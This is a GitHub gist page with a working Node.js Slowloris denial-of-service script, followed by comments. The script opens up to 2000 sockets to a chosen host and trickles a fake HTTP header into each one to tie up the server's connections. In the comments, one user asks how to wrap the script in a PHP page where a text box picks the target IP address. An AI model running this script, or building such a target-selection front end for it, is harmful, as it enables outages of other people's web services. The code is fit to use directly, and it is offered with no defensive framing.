Skip to content

Instantly share code, notes, and snippets.

@mehulmpt
Last active April 22, 2022 13:14
Show Gist options
  • Star 9 You must be signed in to star a gist
  • Fork 6 You must be signed in to fork a gist
  • Save mehulmpt/49eee6cc0e84d6770b904336d0ad7f3e to your computer and use it in GitHub Desktop.
Save mehulmpt/49eee6cc0e84d6770b904336d0ad7f3e to your computer and use it in GitHub Desktop.
Slow Loris attack using Node
const net = require('net')
const opts = {
host: 'localhost',
port: 1234,
sockets: 2000,
respawn: false,
rate: 600,
method: 'GET',
path: '/'
}
let activeSockets = 0
console.log('Starting sockets...')
const addSocket = () => {
let socket = new net.Socket()
socket.connect(opts.port, opts.host)
socket.on('connect', () => {
socket.write(`${opts.method} ${opts.path} HTTP/1.1\n`, 'ascii', () => {
console.log('Socket activated. (Total active: ' + activeSockets + ')')
activeSockets++
socket.write(`Host: ${opts.host}\n`)
let sentPacketCount = 0
const intv = setInterval(() => {
if(!socket) clearInterval(intv)
else {
socket.write(`x-header-${sentPacketCount}: ${sentPacketCount}\n`)
sentPacketCount++
}
}, opts.rate)
})
socket.on('error', err => {
console.log('Socket error - ' + err.message)
socket.destroy()
})
socket.on('data', (data) => {
console.log('Socket data - ' + data.toString())
})
socket.on('close', () => {
activeSockets--
socket = false
if (opts.respawn) {
console.log('Respawning dead socket...')
addSocket()
}
})
})
socket.on('error', err => {
console.log(`Server down.`)
})
}
for (let i=0;i<opts.sockets; i++) {
addSocket()
}
@ValentinTT
Copy link

Hey I read your post, it was really good. My only question is why did you avoid the var/let/const keyword with the serverDown variable?

@hi-ashleyj
Copy link

hi-ashleyj commented Oct 4, 2019

Hey I read your post, it was really good. My only question is why did you avoid the var/let/const keyword with the serverDown variable?

Unless a variable is defined in a local scope, creating a variable by assigning a value WITHOUT var/let/const means that the variable will be available in the global context. Specifically, any assignment will look up the call stack and if it does not find a declaration in any localised scope, it will create and assign it in the global scope.

Either that or a typo :-/. I generally get a lot of those happen after doing some work in python.

@mehulmpt
Copy link
Author

mehulmpt commented Oct 5, 2019

Yeah. I was testing something, that variable is not required.

@TheRatBand
Copy link

Hey, so how exactly would I implement this into a php webpage? I have tried with scripts but i can't find on with a GUI. Could someone point me in the right direction?

@mehulmpt
Copy link
Author

What do you mean by implementing this in a PHP page?

@TheRatBand
Copy link

@mehulmpt I wanna know if this is possible to run on a web server with a php file, so like, get the javascript code into a normal script area and then run it, but be able to choose what the ip address is with a little text input box

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment